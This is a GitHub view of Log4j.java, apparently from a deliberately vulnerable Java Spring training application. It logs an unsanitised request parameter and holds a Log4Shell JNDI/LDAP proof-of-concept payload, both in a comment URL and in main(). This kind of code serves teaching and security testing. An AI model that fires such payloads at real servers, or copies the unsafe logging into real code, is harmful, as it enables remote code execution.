-
Notifications
You must be signed in to change notification settings - Fork 762
Expand file tree
/
Copy pathLog4j.java
More file actions
29 lines (23 loc) · 803 Bytes
/
Log4j.java
File metadata and controls
29 lines (23 loc) · 803 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.joychou.controller;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Log4j {
private static final Logger logger = LogManager.getLogger("Log4j");
/**
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
* Default: error/fatal/off
* Fix: Update log4j to lastet version.
*/
@RequestMapping(value = "/log4j")
public String log4j(String token) {
logger.error(token);
return token;
}
public static void main(String[] args) {
String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
logger.error(poc);
}
}